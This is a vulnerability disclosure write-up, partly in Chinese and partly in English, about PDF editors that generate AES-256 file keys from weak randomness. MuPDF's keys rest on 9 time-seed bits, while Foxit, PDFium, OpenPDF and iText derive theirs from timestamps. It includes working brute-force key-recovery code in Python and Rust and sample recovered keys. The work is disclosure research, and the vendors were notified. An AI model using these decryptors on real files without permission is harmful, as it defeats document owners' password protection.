揭露 PDF AES-256 金鑰生成缺陷:9 位隨機位足以被暴力破解
The case of the 9 bit AES key
本文揭示多款主流 PDF 編輯器因隨機數生成缺陷,AES‑256 檔案金鑰僅受 9 位隨機位影響,導致可在毫秒內暴力破解。
- - MuPDF:使用 48 位 LCG,seed 為 epoch 時間。
- 每個輸出位元組來自位 17‑24,只有 9 位時間位參與,總鍵空間 512,破解時間約 11 ms。
揭示主流 PDF 編輯器因隨機數實現缺陷導致 AES-256 關鍵金鑰可被暴力破解,以防止類似漏洞重現
我們發現多個 PDF 實作會從足夠小的狀態空間產生其 AES-256 檔案金鑰,能被列舉。在 MuPDF 中,只有 9 位元的隨機狀態會影響實際的 AES-256 金鑰。其他 PDF 編輯器,例如 Foxit,則以時間為基礎的隨機性產生 AES-256 金鑰,導致金鑰亦極易被恢復。

導言
PDF 加密保護檔案中的字串與資料流,包括元資料,除非明確留未加密。密碼保護機制經過多次修訂,從 RC4 轉向 AES,並加強密碼雜湊以抵禦暴力破解。現行版本(修訂 6)採用 AES-256。
當 PDF 使用 AES-256 加密時,密碼並不直接加密檔案。實作會產生一個隨機 32 位元組的檔案金鑰,用以加密內容。接著將密碼與鹽值雜湊,產生另一把金鑰來加密這個隨機 32 位元組的檔案金鑰。修訂 6 將此雜湊過程設計得相當慢;較舊的 AES-256 修訂 5 則不具此特性。
PDF 可設定一個使用者密碼用於檢視,以及一個所有者密碼用於變更許可權。兩者皆可解鎖同一檔案金鑰,限制由閱讀者決定:使用檢視密碼時,亦可進行不受限制的複製。
我們發現這種隨機性常以極不安全的方式產生,導致受保護的 PDF 可在無密碼的情況下被解密。
MuPDF
MuPDF 1.28.5 之前的版本使用 drand48 family 的實作來產生隨機數。此產生器僅在啟動時以目前的秒數 epoch 作為種子:
static void fz_init_random_context(fz_context *ctx)
{
/* ... */
fz_srand48(ctx, (uint32_t)time(NULL));
}
此產生器為 48 位元線性同餘產生器:
sn+1=(𝟶𝚡𝟻𝚍𝚎𝚎𝚌𝚎𝟼𝟼𝚍sn+𝟶𝚡𝚋)mod248
fz_srand48() 以三個 16 位元字寫入狀態。最低字為常數 0x330e,而 32 位元的時間戳佔據狀態位元 16 至 47:
void fz_srand48(fz_context *ctx, int32_t seed)
{
uint16_t p[3] = { 0x330e, seed, seed>>16 };
fz_seed48(ctx, p);
}
當 MuPDF 需要產生金鑰時,它會呼叫 fz_memrnd(),該函式會反覆取得一個隨機數、將隨機數產生器前進一步步,然後將該隨機數的最低位元組作為隨機位元組。
int32_t fz_nrand48(fz_context *ctx, uint16_t s[3])
{
return fz_rand48_step(s, ctx->seed48+3) >> 17;
}
/* in fz_memrnd() */
while (len-- > 0)
*data++ = (unsigned char)fz_lrand48(ctx);
移位會丟棄狀態位元 0 至 16,並且轉型為 unsigned char 時會丟棄 24 以上的位元。每個輸出位元組因此都來自 LCG 狀態的第 17 至 24 位元。
問題在於狀態的高位元永遠不會影響低位元。乘法與加法只能向上攜帶位元,無法向下。因為每個輸出位元組來自第 17 至 24 位元,24 位元以上的任何位元都可忽略,即使已將產生器前進。
剩下 25 位元可影響輸出。最低 16 位元始終被初始化為 0x330e,因此只有時間戳的九位元才重要。相差 512 秒的時間戳會產生完全相同的位元組流。
由於可能的金鑰空間如此之小,我們可以直接透過產生所有可能的 32 位元組金鑰並嘗試解密來進行暴力破解:
def stream(seed, count):
state = (seed << 16) | 0x330e
out = bytearray()
for _ in range(count):
state = (0x5deece66d * state + 0xb) & ((1 << 48) - 1)
out.append((state >> 17) & 0xff)
return bytes(out)
candidates = [stream(seed, 64)[32:64] for seed in range(512)]
MuPDF 為檔案 /ID 使用相同的產生器,該金鑰以純文字形式存於尾部。寫入新檔案時,它會先從同一 LCG 抽取 32 位元組,然後立即抽樣解密金鑰,故 /ID 可作為額外檢查。
在一個非常未最佳化的 Python 實作中,使用純暴力破解搜尋全部 512 個流大約需要 11 毫秒。於測試檔案:
time(NULL) mod 512 = 80
/ID[0] = 7628523958da31d6c21c90e39344b28e
/ID[1] = 8be910bddaa1f1a542e5a27ceb115346
key = c3888ecc8ff554ac93acd689da2ecd6223cb760168622e8a0c44a533a037c212
該金鑰可在未輸入任何密碼的情況下解密檔案。
Foxit
Foxit PDF Reader 2026.1.3.36551 以目前時間戳、32 個未初始化位元組以及一個常數的雜湊來推導檔案金鑰。實際上,這些未初始化位元組會被零填充,並不增加任何隨機性。
SHA-256(uint32_le(time(NULL)) || <32 uninitialized bytes> || "there")
Or as an equivalent python snippet:
from hashlib import sha256
key = sha256(timestamp.to_bytes(4, "little") + bytes(32) + b"there").digest()
The /Perms permissions block contains known plaintext, so the candidate check is one hash and one AES block decryption, with no password hashing and no document decryption:
let mut material = [0u8; 41];
material[..4].copy_from_slice(×tamp.to_le_bytes());
material[36..].copy_from_slice(b"there");
let key: [u8; 32] = Sha256::digest(material).into();
let cipher = Aes256::new(&key.into());
let mut plain = Block::<Aes256>::from(self.perms);
cipher.decrypt_block(&mut plain);
// Check for some known magic values to indicate successful decryption
(plain[..4] == self.permissions
&& plain[4..8] == [0xff; 4]
&& plain[8] == self.metadata
&& plain[9..12] == *b"adb")
.then_some(key)
Our Rust implementation searches timestamps downward from the current time, using Rayon for multithreading. On a Ryzen 9 7950X with 32 threads it sustains 370 to 376 million timestamps per second:
| Target timestamp | Candidates tested | Search time |
|---|---|---|
| Ten years ago | 315,573,571 | 0.84 s |
| Unix epoch | 1,792,610,110 | 4.85 s |
The second row covers every timestamp from 1970 to the present. In practice, for a document that was relatively recently generated, this will be in the order of milliseconds.
timestamp = 1787583328
key = 41474b490265500f9727f21f1dde34be31bcdfc3830e2dc027daabe5b5984081
/Perms = fcfbffffffffffff54616462f67f0000 (decrypted)
Where did this key derivation come from
This exact pattern popped up in a couple different PDF editing suites, so we were curious where they got it from. It was already present in PDFium’s initial public commit from May 2014. The file header credits Foxit for the original code, so this code appears to have come from Foxit. Other editors may have picked it up through PDFium:
if (m_Revision >= 5) {
int t = (int)time(NULL);
uint8_t sha[128];
CRYPT_SHA256Start(sha);
CRYPT_SHA256Update(sha, (uint8_t*)&t, sizeof t);
CRYPT_SHA256Update(sha, m_EncryptKey, 32);
CRYPT_SHA256Update(sha, (uint8_t*)"there", 5);
CRYPT_SHA256Finish(sha, m_EncryptKey);
/* ... */
The 32-byte middle value is m_EncryptKey, which is the uninitialized contents of the key buffer being hashed into itself. Assuming these bytes are zero filled, this is exactly the key derivation Foxit still uses today.
OpenPDF and iText
OpenPDF 3.0.5 and iText 9.7.1 both route cryptographic randomness through an IVGenerator class, an ARC4 stream seeded with a millisecond timestamp and the JVM’s free memory:
arcfour = new ARCFOUREncryption();
long time = System.currentTimeMillis();
long mem = Runtime.getRuntime().freeMemory();
String s = time + "+" + mem;
arcfour.prepareARCFOURKey(s.getBytes());
The same stream generates the file key and 32 bytes of salts stored in plaintext in /U and /O. We can check guesses for the timestamp and free memory against these salts, then recover the key from the adjacent bytes.
While there is significantly more variance here than in the MuPDF and Foxit examples, this once again shows that the promise of 256 bit security is undermined by insecure randomness sources and lower-than-advertised state space.
Conclusion
In each of these implementations, the file key is generated from a non-cryptographically secure source of randomness. What was supposed to be a security upgrade over older file keys derived from the user’s password instead led to weaker keys in practice. These issues were disclosed to the vendors and, in MuPDF’s case, fixed. Previously published copies cannot be retroactively protected, however, so these bugs may still have an impact.
We published our decryptors for MuPDF and Foxit.